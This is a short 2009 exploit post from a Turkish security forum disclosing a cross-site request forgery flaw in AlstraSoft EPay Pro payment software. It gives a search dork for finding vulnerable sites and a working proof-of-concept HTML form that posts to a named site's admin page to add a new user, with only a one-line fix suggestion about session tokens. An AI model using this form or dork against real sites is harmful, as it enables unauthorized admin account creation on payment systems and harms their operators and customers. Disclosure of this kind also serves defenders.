AlstraSoft EPay Pro ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > AlstraSoft EPay Pro ~ XSRF Vuln.

Madde
	Author : Bug Researchers/CWH1RLPOOL
	Date : 13.09.2009 20:28:49
	# AlstraSoft EPay Pro ~ XSRF Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name :AlstraSoft EPay Pro # vulnerable Type : xsrf # Infection : Yeni Bir Admin & user Eklebilir. :) # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmeli,eski sifre sorulmalidir. # author : BUG RESEARCHERS//CWH1RLPOOL # Dork: Powered By EPay Pro ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > <form action=http://www.blizsoft.com/epay/admin/add_new.php method=post> <input type=text name=new_email></td> <input type=text name=new_pass> </td> <input type=submit name=submit value=Add New user> </form> < -- bug code end of -- >